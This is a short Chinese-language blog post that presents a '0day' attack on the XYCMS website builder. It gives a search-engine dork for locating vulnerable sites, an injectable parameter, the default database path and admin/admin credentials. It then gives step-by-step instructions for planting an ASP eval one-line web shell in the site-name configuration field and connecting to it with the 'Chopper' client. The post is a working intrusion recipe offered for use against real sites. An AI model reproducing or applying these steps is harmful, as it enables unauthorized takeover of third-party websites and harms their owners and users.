Hunter博客
QQ401209718
性别:男
爱好:女
兴趣:参透

Hunter丶Blog

XYCMS企业建站系统0day

关键词:inurl:showkbxx.asp?id=

有注入点

默认数据库:data/xy#!123.mdb

默认账户和密码:admin admin

有很多网站都是有防注入的,这个时候我们可以下载数据库,然后本地搭建,替换原来的数据库,进行注入得到管理员账户和密码

后台拿shell

有个网站配置,在网站名称里面直接添加:xxx网站”%><%eval request(“c”)%><%’ 

在里面直接插入,不要删掉网站名称。。。

然后菜刀连接 http://xxxx.com/inc/config.asp 密码你们懂得 


 

© Hunter丶Blog | Powered by LOFTER